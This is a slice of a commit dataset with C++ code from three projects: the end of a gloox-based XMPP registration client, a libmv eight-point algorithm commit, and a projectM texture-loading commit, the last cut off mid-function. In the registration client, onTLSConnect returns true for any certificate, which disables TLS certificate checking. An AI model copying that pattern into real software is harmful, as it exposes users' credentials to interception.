Registerer::run()\/*{{{*\/\n{\n    _client.connect(); \/\/ Blocking connection.\n}\/*}}}*\/\nconst std::string Registerer::enterPassword(bool retype)\/*{{{*\/\n{\n    struct termios savedTermState;\n    std::string password;\n\n    try {\n        \/\/ Save a copy of the console state.\n        if (tcgetattr(fileno(stdin), &savedTermState)) \/\/ Cin must track stdin.\n            throw std::runtime_error(std::string(\"Get: \") + strerror(errno));\n\n        \/\/ Suppress echo so password is not logged.\n        struct termios newTermState = savedTermState;\n        newTermState.c_lflag &= ~ECHO;\n\n        if (tcsetattr(fileno(stdin), TCSAFLUSH, &newTermState))\n            throw std::runtime_error(std::string(\"Set: \") + strerror(errno));\n\n        \/\/ Verify that echo suppression is supported.\n        if (newTermState.c_lflag & ECHO)\n            throw std::runtime_error(\"Verify: unable to suppress echo\");\n    } catch (...) {\n        printErr(\"Securing the terminal failed.\");\n        _pwOnce = true; \/\/ Don't ask to retype.\n    }\n\n    \/\/ Prompt the user for a password.\n    std::cerr << (retype ? \"Retype Password: \" : \"Password: \") << std::flush;\n    getline(std::cin, password);\n\n    \/\/ Restore the terminal state.\n    tcsetattr(fileno(stdin), TCSANOW, &savedTermState);\n    std::cerr << std::endl;\n\n    return password;\n}\/*}}}*\/\nconst std::string Registerer::enterField(const std::string &text) const\/*{{{*\/\n{\n    std::string response;\n    std::cerr << text << \": \" << std::flush;\n    getline(std::cin, response);\n    return response;\n}\/*}}}*\/\n\nvoid Registerer::handleRegistrationFields(\/*{{{*\/\n    const gloox::JID &from,\n    int fields,\n    std::string instructions)\n{\n    gloox::RegistrationFields values;\n\n    if (fields & gloox::Registration::FieldUsername)\n        values.username = _jid.username();\n\n    \/\/ Get additional fields from stdin.\/*{{{*\/\n    if (fields & gloox::Registration::FieldNick)\n        values.nick = enterField(\"Nick\");\n\n    if (fields & gloox::Registration::FieldName)\n        values.name = enterField(\"Name\");\n\n    if (fields & gloox::Registration::FieldFirst)\n        values.first = enterField(\"First\");\n\n    if (fields & gloox::Registration::FieldLast)\n        values.last = enterField(\"Last\");\n\n    if (fields & gloox::Registration::FieldEmail)\n        values.email = enterField(\"Email\");\n\n    if (fields & gloox::Registration::FieldAddress)\n        values.address = enterField(\"Address\");\n\n    if (fields & gloox::Registration::FieldCity)\n        values.city = enterField(\"City\");\n\n    if (fields & gloox::Registration::FieldState)\n        values.state = enterField(\"State\");\n\n    if (fields & gloox::Registration::FieldZip)\n        values.zip = enterField(\"Zip\");\n\n    if (fields & gloox::Registration::FieldPhone)\n        values.phone = enterField(\"Phone\");\n\n    if (fields & gloox::Registration::FieldUrl)\n        values.url = enterField(\"Url\");\n\n    if (fields & gloox::Registration::FieldDate)\n        values.date = enterField(\"Date\");\n\n    if (fields & gloox::Registration::FieldMisc)\n        values.misc = enterField(\"Misc\");\n\n    if (fields & gloox::Registration::FieldText)\n        values.text = enterField(\"Text\");\n\/*}}}*\/\n\n    if (fields & gloox::Registration::FieldPassword) {\n        while (true) {\n            values.password = enterPassword();\n            if (_pwOnce || enterPassword(true) == values.password)\n                    break;\n        std::cerr << \"Mismatch, try again.\" << std::endl;\n        }\n    }\n\n    _registration->createAccount(fields, values);\n}\/*}}}*\/\nvoid Registerer::handleRegistrationResult(\/*{{{*\/\n    const gloox::JID &from,\n    gloox::RegistrationResult result)\n{\n    std::string text;\n\n    switch (result) {\n    case gloox::RegistrationSuccess:\n        text = \"Succeeded.\";\n        break;\n    case gloox::RegistrationNotAcceptable:\n        text = \"Not all necassary information provided.\";\n        break;\n    case gloox::RegistrationConflict:\n        text = \"Username already exists.\";\n        break;\n    case gloox::RegistrationNotAuthorized:\n        text = \"Not authorized.\";\n        break;\n    case gloox::RegistrationBadRequest:\n        text = \"Bad request.\";\n        break;\n    case gloox::RegistrationForbidden:\n        text = \"Forbidden.\";\n        break;\n    case gloox::RegistrationUnexpectedRequest:\n        text = \"Unexpected request.\";\n        break;\n    default:\n        text = \"Unknown error.\";\n        break;\n    }\n\n    if (!text.empty())\n        printErr(\"Registration: \" + text);\n\n    _client.disconnect();\n    exit(result); \/\/ Exit the program.\n}\/*}}}*\/\n\nvoid Registerer::onConnect()\/*{{{*\/\n{\n    \/\/ Request the registration fields the server requires.\n    _registration->fetchRegistrationFields();\n}\/*}}}*\/\nvoid Registerer::onDisconnect(gloox::ConnectionError e)\/*{{{*\/\n{\n    std::string text = libsxc::genConnErrorString(\n        e,\n        _client.streamError(),\n        _client.streamErrorText(),\n        _client.authError());\n    if (!text.empty())\n        printErr(\"Disconnected: \" + text);\n}\/*}}}*\/\n    bool Registerer::onTLSConnect(const gloox::CertInfo& info)\/*{{{*\/\n    {\n        return true;\n    }\/*}}}*\/\n    void Registerer::handleAlreadyRegistered(const gloox::JID &from)\/*{{{*\/\n    {\n    }\/*}}}*\/\n    void Registerer::handleDataForm(\/*{{{*\/\n        const gloox::JID &from,\n        const gloox::DataForm &form)\n    {\n    }\/*}}}*\/\n    void Registerer::handleOOB(\/*{{{*\/\n        const gloox::JID &from,\n        const gloox::OOB &oob)\n    {\n    }\/*}}}*\/\n\n\/\/ Use no tabs at all; four spaces indentation; max. eighty chars per line.\n\/\/ vim: et ts=4 sw=4 tw=80 fo+=c fdm=marker\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (c) 2007, 2008 libmv authors.\n\/\/ \n\/\/ Permission is hereby granted, free of charge, to any person obtaining a copy\n\/\/ of this software and associated documentation files (the \"Software\"), to\n\/\/ deal in the Software without restriction, including without limitation the\n\/\/ rights to use, copy, modify, merge, publish, distribute, sublicense, and\/or\n\/\/ sell copies of the Software, and to permit persons to whom the Software is\n\/\/ furnished to do so, subject to the following conditions:\n\/\/ \n\/\/ The above copyright notice and this permission notice shall be included in\n\/\/ all copies or substantial portions of the Software.\n\/\/ \n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\/\/ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n\/\/ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n\/\/ FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS\n\/\/ IN THE SOFTWARE.\n\/\/\n\/\/ \n\/\/ http:\/\/axiom.anu.edu.au\/~hartley\/Papers\/focal-lengths\/focal.pdf\n\n#include \"libmv\/numeric\/numeric.h\"\n\nnamespace libmv {\n\n\/\/TODO(pau) Find the flens function for this or move to numeric.h.\nMat Diag(const Vec &x) {\n  int n = x.length();\n  Mat A(n,n);\n  A = 0;\n  for (int i = 0; i < n; ++i) {\n    A(i,i) = x(i);\n  }\n  return A;\n}\n\nvoid MeanAndVariancesFromPoints(const std::vector<Vec2> &points,\n                                double *meanx,\n                                double *meany,\n                                double *varx,\n                                double *vary) {\n  int n = points.size();\n  double sumx = 0, sumx2 = 0;\n  double sumy = 0, sumy2 = 0;\n  for (int i = 0; i < n; ++i) {\n    double x = points[i](0);\n    double y = points[i](1);\n    sumx += x;\n    sumx2 += x * x;\n    sumy += y;\n    sumy2 += y * y;\n  }\n  *meanx = sumx \/ n;\n  *meany = sumy \/ n;\n  *varx = sumx2 \/ n - Square(*meanx);\n  *vary = sumy2 \/ n - Square(*meany);\n}\n\n\/\/ HZ 4.4.4 pag.109\nvoid PreconditionerFromPoints(const std::vector<Vec2> &points, Mat3 *T) {\n  double meanx, meany, varx, vary;\n  MeanAndVariancesFromPoints(points, &meanx, &meany, &varx, &vary);\n\n  double xfactor = sqrt(2 \/ varx);\n  double yfactor = sqrt(2 \/ vary);\n\n  *T = xfactor, 0, -xfactor * meanx,\n       0, yfactor, -yfactor * meany,\n       0, 0, 1;\n}\n\nvoid ApplyTransformationToPoints(const std::vector<Vec2> &points,\n                                 const Mat3 &T,\n                                 std::vector<Vec2> *transformed_points) {\n  int n = points.size();\n  transformed_points->resize(n);\n  for (int i = 0; i < n; ++i) {\n    Vec3 in, out;\n    in = points[i](0), points[i](1), 1;\n    out = T * in;\n    (*transformed_points)[i] = out(0), out(1);\n  }\n}\n\n\/\/ HZ 11.1 pag.279\nvoid FundamentalFromCorrespondencesLinear(const std::vector<Vec2> &x1,\n                                          const std::vector<Vec2> &x2,\n                                          Mat3 *F) {\n  assert(8 <= x1.size());\n  assert(x1.size() == x2.size());\n\n  int n = x1.size();\n  Mat A(n, 9);\n  for (int i = 0; i < n; ++i) {\n    A(i, 0) = x1[i](0) * x2[i](0);\n    A(i, 1) = x1[i](0) * x2[i](1);\n    A(i, 2) = x1[i](0);\n    A(i, 3) = x1[i](1) * x2[i](0);\n    A(i, 4) = x1[i](1) * x2[i](1);\n    A(i, 5) = x1[i](1);\n    A(i, 6) = x2[i](0);\n    A(i, 7) = x2[i](1);\n    A(i, 8) = 1;\n  }\n  Vec f;\n  Nullspace(&A, &f);\n  for (int i = 0; i < 3; ++i) {\n    for (int j = 0; j < 3; ++j) {\n      (*F)(i, j) = f(3 * i + j);\n    }\n  }\n}\n\n\/\/ HZ 11.1.1 pag.280\nvoid EnforceFundamentalRank2Constraint(Mat3 *F) {\n  Mat U, Vt, d_Vt, U_d_Vt;\n  Vec d;\n  SVD(F, &d, &U, &Vt);\n  d(2) = 0;\n  d_Vt = Diag(d) * Vt;\n  U_d_Vt = U * d_Vt;\n  *F = U_d_Vt;\n}\n\n\/\/ HZ 11.2 pag.281\nvoid FundamentalFromCorrespondences8Point(const std::vector<Vec2> &x1,\n                                          const std::vector<Vec2> &x2,\n                                          Mat3 *F) {\n  assert(8 <= x1.size());\n  assert(x1.size() == x2.size());\n\n  \/\/ Normalize the data.\n  \/\/ TODO\n\n  FundamentalFromCorrespondencesLinear(x1, x2, F);\n  EnforceFundamentalRank2Constraint(F);\n\n  \/\/ Denormalize the fundamental matrix.\n  \/\/ TODO\n}\n\n}  \/\/ namespace libmv\n<commit_msg>Added preconditioning to the 8 point algorithm.  Some nasty copy pasting was required to make the product of tiny matrices work.<commit_after>\/\/ Copyright (c) 2007, 2008 libmv authors.\n\/\/ \n\/\/ Permission is hereby granted, free of charge, to any person obtaining a copy\n\/\/ of this software and associated documentation files (the \"Software\"), to\n\/\/ deal in the Software without restriction, including without limitation the\n\/\/ rights to use, copy, modify, merge, publish, distribute, sublicense, and\/or\n\/\/ sell copies of the Software, and to permit persons to whom the Software is\n\/\/ furnished to do so, subject to the following conditions:\n\/\/ \n\/\/ The above copyright notice and this permission notice shall be included in\n\/\/ all copies or substantial portions of the Software.\n\/\/ \n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\/\/ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n\/\/ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n\/\/ FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS\n\/\/ IN THE SOFTWARE.\n\/\/\n\/\/ \n\/\/ http:\/\/axiom.anu.edu.au\/~hartley\/Papers\/focal-lengths\/focal.pdf\n\n#include \"libmv\/numeric\/numeric.h\"\n\n\n\/\/ TODO(pau) IMPORTANT:  This has been copy pasted from tinyvector_test.cc\n\/\/ to make tiny_matrix product work.  This should be provided by flens itself.\nnamespace flens {\n\ntemplate <typename T, int M, int N>\nstatic inline T TransposedAccess(\n  Transpose trans,\n  const TinyGeMatrix<FixedSizeArray2D<T, M, N> > &A,\n  int i, int j) {\n  if (trans == NoTrans) {\n    return A(i,j);\n  } else if (trans == Trans) {\n    return A(j,i);\n  } else {\n    bool not_implemented_yet = 0;\n    (void) not_implemented_yet;\n    assert(not_implemented_yet);\n  }\n  return T(0);\n}\n\n\/\/ GEMM\n\/\/ C = alpha *A'*B' + beta*C\ntemplate <typename ALPHA, typename BETA,\n          typename TA, int MA, int NA,\n          typename TB, int MB, int NB,\n          typename TC, int MC, int NC>\nvoid\nmm(Transpose transA, Transpose transB,\n   ALPHA alpha,\n   const TinyGeMatrix<FixedSizeArray2D<TA, MA, NA> > &A,\n   const TinyGeMatrix<FixedSizeArray2D<TB, MB, NB> > &B,\n   BETA beta, TinyGeMatrix<FixedSizeArray2D<TC, MC, NC> > &C) {\n  \/\/ Conjugates not implemented yet.\n  assert(transA == NoTrans || transA == Trans);\n  assert(transB == NoTrans || transB == Trans); \n  \/\/ A mxn x B nxp = C mxp\n  const int M = MC;\n  const int N = (transA == NoTrans) ? NA : MA;\n  if (transB == NoTrans) {\n    assert(N == MB);\n  } else {\n    assert(N == NB);\n  }\n  const int P = NC;\n\n#define loop(x, n) for (int x = 0; x < n; ++x)\n  loop (i, M) {\n    loop (j, P) {\n      TC AikBkj = TC(0);\n      loop (k, N) { \n        TA Axx = TransposedAccess(transA, A, i, k);\n        TB Bxx = TransposedAccess(transB, B, k, j);\n        AikBkj += Axx * Bxx;\n      }\n      C(i, j) = alpha*AikBkj + beta*C(i, j);\n    }\n  }\n#undef loop\n}\n}  \/\/ namespace flens\n\n\n\n\n\n\nnamespace libmv {\n\n\/\/TODO(pau) Find the flens function for this or move to numeric.h.\nMat Diag(const Vec &x) {\n  int n = x.length();\n  Mat A(n,n);\n  A = 0;\n  for (int i = 0; i < n; ++i) {\n    A(i,i) = x(i);\n  }\n  return A;\n}\n\nvoid MeanAndVariancesFromPoints(const std::vector<Vec2> &points,\n                                double *meanx,\n                                double *meany,\n                                double *varx,\n                                double *vary) {\n  int n = points.size();\n  double sumx = 0, sumx2 = 0;\n  double sumy = 0, sumy2 = 0;\n  for (int i = 0; i < n; ++i) {\n    double x = points[i](0);\n    double y = points[i](1);\n    sumx += x;\n    sumx2 += x * x;\n    sumy += y;\n    sumy2 += y * y;\n  }\n  *meanx = sumx \/ n;\n  *meany = sumy \/ n;\n  *varx = sumx2 \/ n - Square(*meanx);\n  *vary = sumy2 \/ n - Square(*meany);\n}\n\n\/\/ HZ 4.4.4 pag.109\nvoid PreconditionerFromPoints(const std::vector<Vec2> &points, Mat3 *T) {\n  double meanx, meany, varx, vary;\n  MeanAndVariancesFromPoints(points, &meanx, &meany, &varx, &vary);\n\n  double xfactor = sqrt(2 \/ varx);\n  double yfactor = sqrt(2 \/ vary);\n\n  *T = xfactor, 0, -xfactor * meanx,\n       0, yfactor, -yfactor * meany,\n       0, 0, 1;\n}\n\nvoid ApplyTransformationToPoints(const std::vector<Vec2> &points,\n                                 const Mat3 &T,\n                                 std::vector<Vec2> *transformed_points) {\n  int n = points.size();\n  transformed_points->resize(n);\n  for (int i = 0; i < n; ++i) {\n    Vec3 in, out;\n    in = points[i](0), points[i](1), 1;\n    out = T * in;\n    (*transformed_points)[i] = out(0), out(1);\n  }\n}\n\n\/\/ HZ 11.1 pag.279\nvoid FundamentalFromCorrespondencesLinear(const std::vector<Vec2> &x1,\n                                          const std::vector<Vec2> &x2,\n                                          Mat3 *F) {\n  assert(8 <= x1.size());\n  assert(x1.size() == x2.size());\n\n  int n = x1.size();\n  Mat A(n, 9);\n  for (int i = 0; i < n; ++i) {\n    A(i, 0) = x1[i](0) * x2[i](0);\n    A(i, 1) = x1[i](0) * x2[i](1);\n    A(i, 2) = x1[i](0);\n    A(i, 3) = x1[i](1) * x2[i](0);\n    A(i, 4) = x1[i](1) * x2[i](1);\n    A(i, 5) = x1[i](1);\n    A(i, 6) = x2[i](0);\n    A(i, 7) = x2[i](1);\n    A(i, 8) = 1;\n  }\n  Vec f;\n  Nullspace(&A, &f);\n  for (int i = 0; i < 3; ++i) {\n    for (int j = 0; j < 3; ++j) {\n      (*F)(i, j) = f(3 * i + j);\n    }\n  }\n}\n\n\/\/ HZ 11.1.1 pag.280\nvoid EnforceFundamentalRank2Constraint(Mat3 *F) {\n  Mat U, Vt, d_Vt, U_d_Vt;\n  Vec d;\n  SVD(F, &d, &U, &Vt);\n  d(2) = 0;\n  d_Vt = Diag(d) * Vt;\n  U_d_Vt = U * d_Vt;\n  *F = U_d_Vt;\n}\n\n\/\/ HZ 11.2 pag.281 (x1 = x', x2 = x)\nvoid FundamentalFromCorrespondences8Point(const std::vector<Vec2> &x1,\n                                          const std::vector<Vec2> &x2,\n                                          Mat3 *F) {\n  assert(8 <= x1.size());\n  assert(x1.size() == x2.size());\n\n  \/\/ Normalize the data.\n  Mat3 T1, T2;\n  PreconditionerFromPoints(x1, &T1);\n  PreconditionerFromPoints(x2, &T2);\n  std::vector<Vec2> x1_normalized, x2_normalized;\n  ApplyTransformationToPoints(x1, T1, &x1_normalized);\n  ApplyTransformationToPoints(x2, T2, &x2_normalized);\n\n  \/\/ Estimate the fundamental matrix.\n  FundamentalFromCorrespondencesLinear(x1_normalized, x2_normalized, F);\n  EnforceFundamentalRank2Constraint(F);\n\n  \/\/ Denormalize the fundamental matrix.\n  Mat3 F_T2;\n  F_T2 = (*F) * T2; \n  *F = transpose(T1) * F_T2; \n}\n\n}  \/\/ namespace libmv\n<|endoftext|>"}
{"text":"<commit_before>#ifdef LINUX\n#include <GL\/gl.h>\n#endif\n#ifdef WIN32\n#include \"glew.h\"\n#endif\n#ifdef __APPLE__\n#include <GL\/gl.h>\n#endif\n\n#ifdef USE_DEVIL\n#include <IL\/ilut.h>\n#else\n#include \"SOIL.h\"\n#endif\n\n#ifdef WIN32\n#include \"win32-dirent.h\"\n#endif\n\n#ifdef LINUX\n#include <dirent.h>\n#endif\n\n#ifdef MACOS\n#include <dirent.h>\n#endif\n#include \"TextureManager.hpp\"\n#include \"CustomShape.hpp\"\n#include \"Common.hpp\"\n#include \"IdleTextures.hpp\"\n\n\n\nTextureManager::TextureManager(const std::string _presetURL): presetURL(_presetURL)\n{\n#ifdef USE_DEVIL\nilInit();\niluInit();\nilutInit();\nilutRenderer(ILUT_OPENGL);\n#endif\n\n Preload();\n loadTextureDir();\n}\n\nTextureManager::~TextureManager()\n{\n Clear();\n}\n\nvoid TextureManager::Preload()\n{\n\n#ifdef USE_DEVIL\n\tILuint image;\n\tilGenImages(1, &image);\n\tilBindImage(image);\n\tilLoadL(IL_TYPE_UNKNOWN,(ILvoid*) M_data, M_bytes);\n\tGLuint tex = ilutGLBindTexImage();\n#else\n\t uint tex = SOIL_load_OGL_texture_from_memory(\n\t\t\t\t\t  M_data,\n\t\t\t\t\t  M_bytes,\n\t\t\t\t\t  SOIL_LOAD_AUTO,\n\t\t\t\t\t  SOIL_CREATE_NEW_ID,\n\n\t\t\t\t\t    SOIL_FLAG_POWER_OF_TWO\n\t\t\t\t\t  |  SOIL_FLAG_MULTIPLY_ALPHA\n\t\t\t\t\t  |  SOIL_FLAG_COMPRESS_TO_DXT\n\t\t\t\t\t  );\n#endif\n\n  textures[\"M.tga\"]=tex;\n\n#ifdef USE_DEVIL\n  ilLoadL(IL_TYPE_UNKNOWN,(ILvoid*) project_data,project_bytes);\n  tex = ilutGLBindTexImage();\n#else\n  tex = SOIL_load_OGL_texture_from_memory(\n\t\t\t\t\t  project_data,\n\t\t\t\t\t  project_bytes,\n\t\t\t\t\t  SOIL_LOAD_AUTO,\n\t\t\t\t\t  SOIL_CREATE_NEW_ID,\n\n\t\t\t\t\t  SOIL_FLAG_POWER_OF_TWO\n\t\t\t\t\t  |  SOIL_FLAG_MULTIPLY_ALPHA\n\t\t\t\t\t  |  SOIL_FLAG_COMPRESS_TO_DXT\n\t\t\t\t\t  );\n#endif\n\n  textures[\"project.tga\"]=tex;\n\n#ifdef USE_DEVIL\n  ilLoadL(IL_TYPE_UNKNOWN,(ILvoid*) headphones_data, headphones_bytes);\n  tex = ilutGLBindTexImage();\n#else\n  tex = SOIL_load_OGL_texture_from_memory(\n\t\t\t\t\t  headphones_data,\n\t\t\t\t\t  headphones_bytes,\n\t\t\t\t\t  SOIL_LOAD_AUTO,\n\t\t\t\t\t  SOIL_CREATE_NEW_ID,\n\n\t\t\t\t\t  SOIL_FLAG_POWER_OF_TWO\n\t\t\t\t\t  |  SOIL_FLAG_MULTIPLY_ALPHA\n\t\t\t\t\t  |  SOIL_FLAG_COMPRESS_TO_DXT\n\t\t\t\t\t  );\n#endif\n\n  textures[\"headphones.tga\"]=tex;\n}\n\nvoid TextureManager::Clear()\n{\n\n\n  for(std::map<std::string, GLuint>::const_iterator iter = textures.begin(); iter != textures.end(); iter++)\n    {\n      glDeleteTextures(1,&iter->second);\n    }\n  textures.clear();\n}\n\nvoid TextureManager::setTexture(const std::string name, const unsigned int texId, const int width, const int height)\n{\n\t\ttextures[name] = texId;\n\t\twidths[name] = width;\n\t\theights[name] = height;\n}\n\n\/\/void TextureManager::unloadTextures(const PresetOutputs::cshape_container &shapes)\n\/\/{\n  \/*\n   for (PresetOutputs::cshape_container::const_iterator pos = shapes.begin();\n\tpos != shapes.end(); ++pos)\n    {\n\n      if( (*pos)->enabled==1)\n\t{\n\n\t  if ( (*pos)->textured)\n\t    {\n\t      std::string imageUrl = (*pos)->getImageUrl();\n\t      if (imageUrl != \"\")\n\t\t{\n\t\t  std::string fullUrl = presetURL + \"\/\" + imageUrl;\n\t\t  ReleaseTexture(LoadTexture(fullUrl.c_str()));\n\t\t}\n\t    }\n\t}\n    }\n  *\/\n\/\/}\n\nGLuint TextureManager::getTexture(const std::string filename)\n{\n\tstd::string fullURL = presetURL + PATH_SEPARATOR + filename;\n\treturn getTextureFullpath(filename,fullURL);\n}\n\nGLuint TextureManager::getTextureFullpath(const std::string filename, const std::string imageURL)\n{\n\n   if (textures.find(filename)!= textures.end())\n     {\n       return textures[filename];\n     }\n   else\n     {\n\n#ifdef USE_DEVIL\n       GLuint tex = ilutGLLoadImage((char *)imageURL.c_str());\n#else\n       int width, height;\n\n       uint tex = SOIL_load_OGL_texture_size(\n    \t\t   imageURL.c_str(),\n\t\t\t\t\t  SOIL_LOAD_AUTO,\n\t\t\t\t\t  SOIL_CREATE_NEW_ID,\n\n\t\t\t\t\t    \/\/SOIL_FLAG_POWER_OF_TWO\n\t\t\t\t\t  \/\/  SOIL_FLAG_MIPMAPS\n\t\t\t\t\t    SOIL_FLAG_MULTIPLY_ALPHA\n\t\t\t\t\t  |  SOIL_FLAG_COMPRESS_TO_DXT\n\t\t\t\t\t  \/\/| SOIL_FLAG_DDS_LOAD_DIRECT\n\t\t\t\t\t  ,&width,&height);\n\n#endif\n       textures[filename]=tex;\n       widths[filename]=width;\n       heights[filename]=height;\n       return tex;\n\n\n     }\n}\n\nint TextureManager::getTextureWidth(const std::string imageURL)\n{\n\treturn widths[imageURL];\n}\n\nint TextureManager::getTextureHeight(const std::string imageURL)\n{\n\treturn heights[imageURL];\n}\n\nunsigned int TextureManager::getTextureMemorySize()\n{\n  return 0;\n}\n\nvoid TextureManager::loadTextureDir()\n{\n\tstd::string dirname = CMAKE_INSTALL_PREFIX \"\/share\/projectM\/textures\";\n\n\t  DIR * m_dir;\n\n\t \/\/ Allocate a new a stream given the current directory name\n\t  if ((m_dir = opendir(dirname.c_str())) == NULL)\n\t  {\n\t    std::cout<<\"No Textures Loaded from \"<<dirname<<std::endl;\n\t    return; \/\/ no files loaded. m_entries is empty\n\t  }\n\n\t  struct dirent * dir_entry;\n\n\t  while ((dir_entry = readdir(m_dir)) != NULL)\n\t  {\n\n\t    \/\/ Convert char * to friendly string\n\t    std::string filename(dir_entry->d_name);\n\n\t    if (filename.length() > 0 && filename[0] == '.')\n\t\tcontinue;\n\n\t    \/\/ Create full path name\n\t    std::string fullname = dirname + PATH_SEPARATOR + filename;\n\n\t    unsigned int texId = getTextureFullpath(filename, fullname);\n\t    if(texId != 0)\n\t    {\n\t    \tuser_textures.push_back(texId);\n\t    \ttextures[filename]=texId;\n\t    \tuser_texture_names.push_back(filename);\n\t    }\n\t  }\n\n\t  if (m_dir)\n\t    {\n\t      closedir(m_dir);\n\t      m_dir = 0;\n\t    }\n\n}\n\nstd::string TextureManager::getRandomTextureName(std::string random_id)\n{\n\tif (user_texture_names.size() > 0)\n\t{\n\t\tstd::string random_name = user_texture_names[rand() % user_texture_names.size()];\n\t\trandom_textures.push_back(random_id);\n\t\ttextures[random_id] = textures[random_name];\n\t\treturn random_name;\n\t}\n\telse return \"\";\n}\n\nvoid TextureManager::clearRandomTextures()\n{\n\tfor (std::vector<std::string>::iterator pos = random_textures.begin(); pos\t!= random_textures.end(); ++pos)\n\t\t\t\t{\n\t\t\t\t\ttextures.erase(*pos);\n\t\t\t\t\twidths.erase(*pos);\n\t\t\t\t\theights.erase(*pos);\n\t\t\t\t}\n\trandom_textures.clear();\n\n}\n<commit_msg>optimizatioation disabled which breaks SOIL in some systems.<commit_after>#ifdef LINUX\n#include <GL\/gl.h>\n#endif\n#ifdef WIN32\n#include \"glew.h\"\n#endif\n#ifdef __APPLE__\n#include <GL\/gl.h>\n#endif\n\n#ifdef USE_DEVIL\n#include <IL\/ilut.h>\n#else\n#include \"SOIL.h\"\n#endif\n\n#ifdef WIN32\n#include \"win32-dirent.h\"\n#endif\n\n#ifdef LINUX\n#include <dirent.h>\n#endif\n\n#ifdef MACOS\n#include <dirent.h>\n#endif\n#include \"TextureManager.hpp\"\n#include \"CustomShape.hpp\"\n#include \"Common.hpp\"\n#include \"IdleTextures.hpp\"\n\n\n\nTextureManager::TextureManager(const std::string _presetURL): presetURL(_presetURL)\n{\n#ifdef USE_DEVIL\nilInit();\niluInit();\nilutInit();\nilutRenderer(ILUT_OPENGL);\n#endif\n\n Preload();\n loadTextureDir();\n}\n\nTextureManager::~TextureManager()\n{\n Clear();\n}\n\nvoid TextureManager::Preload()\n{\n\n#ifdef USE_DEVIL\n\tILuint image;\n\tilGenImages(1, &image);\n\tilBindImage(image);\n\tilLoadL(IL_TYPE_UNKNOWN,(ILvoid*) M_data, M_bytes);\n\tGLuint tex = ilutGLBindTexImage();\n#else\n\t uint tex = SOIL_load_OGL_texture_from_memory(\n\t\t\t\t\t  M_data,\n\t\t\t\t\t  M_bytes,\n\t\t\t\t\t  SOIL_LOAD_AUTO,\n\t\t\t\t\t  SOIL_CREATE_NEW_ID,\n\n\t\t\t\t\t    SOIL_FLAG_POWER_OF_TWO\n\t\t\t\t\t  |  SOIL_FLAG_MULTIPLY_ALPHA\n\t\t\t\t\t  \n\t\t\t\t\t  );\n#endif\n\n  textures[\"M.tga\"]=tex;\n\n#ifdef USE_DEVIL\n  ilLoadL(IL_TYPE_UNKNOWN,(ILvoid*) project_data,project_bytes);\n  tex = ilutGLBindTexImage();\n#else\n  tex = SOIL_load_OGL_texture_from_memory(\n\t\t\t\t\t  project_data,\n\t\t\t\t\t  project_bytes,\n\t\t\t\t\t  SOIL_LOAD_AUTO,\n\t\t\t\t\t  SOIL_CREATE_NEW_ID,\n\n\t\t\t\t\t  SOIL_FLAG_POWER_OF_TWO\n\t\t\t\t\t  |  SOIL_FLAG_MULTIPLY_ALPHA\n\t\t\t\t\t  \n\t\t\t\t\t  );\n#endif\n\n  textures[\"project.tga\"]=tex;\n\n#ifdef USE_DEVIL\n  ilLoadL(IL_TYPE_UNKNOWN,(ILvoid*) headphones_data, headphones_bytes);\n  tex = ilutGLBindTexImage();\n#else\n  tex = SOIL_load_OGL_texture_from_memory(\n\t\t\t\t\t  headphones_data,\n\t\t\t\t\t  headphones_bytes,\n\t\t\t\t\t  SOIL_LOAD_AUTO,\n\t\t\t\t\t  SOIL_CREATE_NEW_ID,\n\n\t\t\t\t\t  SOIL_FLAG_POWER_OF_TWO\n\t\t\t\t\t  |  SOIL_FLAG_MULTIPLY_ALPHA\n\t\t\t\t\n\t\t\t\t\t  );\n#endif\n\n  textures[\"headphones.tga\"]=tex;\n}\n\nvoid TextureManager::Clear()\n{\n\n\n  for(std::map<std::string, GLuint>::const_iterator iter = textures.begin(); iter != textures.end(); iter++)\n    {\n      glDeleteTextures(1,&iter->second);\n    }\n  textures.clear();\n}\n\nvoid TextureManager::setTexture(const std::string name, const unsigned int texId, const int width, const int height)\n{\n\t\ttextures[name] = texId;\n\t\twidths[name] = width;\n\t\theights[name] = height;\n}\n\n\/\/void TextureManager::unloadTextures(const PresetOutputs::cshape_container &shapes)\n\/\/{\n  \/*\n   for (PresetOutputs::cshape_container::const_iterator pos = shapes.begin();\n\tpos != shapes.end(); ++pos)\n    {\n\n      if( (*pos)->enabled==1)\n\t{\n\n\t  if ( (*pos)->textured)\n\t    {\n\t      std::string imageUrl = (*pos)->getImageUrl();\n\t      if (imageUrl != \"\")\n\t\t{\n\t\t  std::string fullUrl = presetURL + \"\/\" + imageUrl;\n\t\t  ReleaseTexture(LoadTexture(fullUrl.c_str()));\n\t\t}\n\t    }\n\t}\n    }\n  *\/\n\/\/}\n\nGLuint TextureManager::getTexture(const std::string filename)\n{\n\tstd::string fullURL = presetURL + PATH_SEPARATOR + filename;\n\treturn getTextureFullpath(filename,fullURL);\n}\n\nGLuint TextureManager::getTextureFullpath(const std::string filename, const std::string imageURL)\n{\n\n   if (textures.find(filename)!= textures.end())\n     {\n       return textures[filename];\n     }\n   else\n     {\n\n#ifdef USE_DEVIL\n       GLuint tex = ilutGLLoadImage((char *)imageURL.c_str());\n#else\n       int width, height;\n\n       uint tex = SOIL_load_OGL_texture_size(\n    \t\t   imageURL.c_str(),\n\t\t\t\t\t  SOIL_LOAD_AUTO,\n\t\t\t\t\t  